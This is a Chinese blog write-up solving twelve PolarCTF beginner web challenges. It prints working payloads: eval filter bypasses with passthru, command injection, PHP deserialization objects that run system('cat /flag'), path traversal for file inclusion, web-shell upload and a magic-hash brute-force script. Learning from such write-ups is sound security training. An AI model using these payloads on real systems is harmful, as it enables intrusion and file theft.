25-36
cool

is_numeric ()函数作用:判断变量是不是数字或者数字字符串 返回‑true:是数字;false:不是
目标是让 eval($a) 执行恶意代码(如读取flag文件),
需同时绕过两个限制:
非数字限制 : $a 不能是纯数字(包括字符串形式的数字)
关键词过滤 : $a 不能包含 flag|system|php (大小写不敏感)
用passthru代替system,用通配符绕过flag

pyload: ?a=passthru('cat f*');

uploader代码审计:
1、基于客户端 IP 生成 MD5 目录($sandBox)作为路径;
2、直接将用户上传的文件移动到该沙盒目录(move_uploaded_file),未对文件类型、扩展名、内容做任何过滤;
3、输出上传文件的名称、类型、大小和路径。
<form action="http://1e8dc98d-dd17-40a9-b561-3d35ee496f84.www.polarctf.com:8090/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="上传" />
</form>
上传成功返回文件名和目录

用蚁剑连一下


得到flag
覆盖

这题一眼看过去的熟悉跟前面干正则好像一样

老方法也是可以做的
但这个也是可以的:?id=a[0]=www.polarctf.com&cmd=;cat ls
cat ls 会被当作新命令执行( ls 会展开当前目录所有文件名, cat 读取这些文件内容)

PHP反序列化初试

两个类两个方法也不多

O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:2:"ls";s:9:"�Evil�env";N;}}
需要把这个符号改成空格就好了
O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:2:"ls";s:9:" Evil env";N;}}

pyload:
O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:12:"cat f1@g.php";s:9:" Evil env";N;}}

机器人
都说不爬了那就看看源码扫扫目录了


源码里没有什么有用的东西


给了一段flag

但给了一段提示访问一下

对这个目录进行扫描

获得另一半

完整:flag{4749ea1ea481a5d56685442c8516b61c}
扫扫看
标题和内容都说扫扫看那就扫


我就知道没那么简单

原来是藏在源代码里了

debudao
打开一个提交窗口

提交个1看看

我还在想有什么东西呢看了一下源码,感觉不像是,提交一下看看

果然提交不上去,抓个包看看,原来藏在了cookie里

解码得到flag

审计

果然是代码审计;
检查:
第一关:输入不能是数组。
第二关:输入的 MD5 哈希值必须以 0e 开头,并且后面跟随数字。
第三关:输入必须是一个数字(通过 is_numeric 检查)。
解决思路:我们需要找到一个数字,其 MD5 哈希值以 0e 开头。不能用数组绕过
直接python爆破
import hashlib
def md5_str(n):
return hashlib.md5(str(n).encode()).hexdigest()
# 从0开始遍历纯数字
i = 0
while True:
h = md5_str(i)
if h.startswith("0e") and h[2:].isdigit():
print(f"成功 i={i} md5={h}")
break
i += 1
>>>240610708
所以payload为?xxs=240610708

upload1
好像是文件上传,正好前面的照片马还没删除

修改包

成功:

rapyiquan
这题一打开看到一大串字

第一关:下划线检测checkUrlParams 检查 $_SERVER['REQUEST_URI'] 中是否含有 _,有则直接拦截
第二关:命令黑名单正则过滤了 ls、cat、tac、nl、more、less、head、tail、vi、od、grep、sed 等大量读文件命令
还有特殊字符过滤:*、?、\、{}、()、$、|、;、'、"、`、-、<、> 等
绕过思路:
绕过第一关:参数名是 c_md(含下划线),但 URL 不能出现 。利用 PHP 特性:PHP 会自动将参数名中的 .(点)和空格转换为
绕过第二关:find,sort,等都没有过滤 符号/没有过滤

?cmd=sort /fl\ag.php

发现好像也对 这题 flag 不在 /flag.php 里需要你去读,而是放在环境变量 FLAG 中只要用一个字符串本身不含黑名单词的命令直接拿
pyload:?c.md=printenv或者env

这个好像是彩蛋env
bllbl_ser1


就是一个反序列化的题了


应该在根目录

pyload:?blljl=O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:20:"system('cat /flag');";}}
1ncIud3
打开提示可以用?page=来导航


访问一下

查看提示,可能替换flag字样以及添加一些符号过滤
常见的替换有 f1a9 f1ag f149,flag基本在根目录下,用.././为一组进行跳目录
最终payload ?page=..././..././f1a9

palor靶场-简单方向(25-36)
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
赞赏支持
如果觉得文章对你有帮助,可以请作者喝杯奶茶
评论交流
欢迎留下你的想法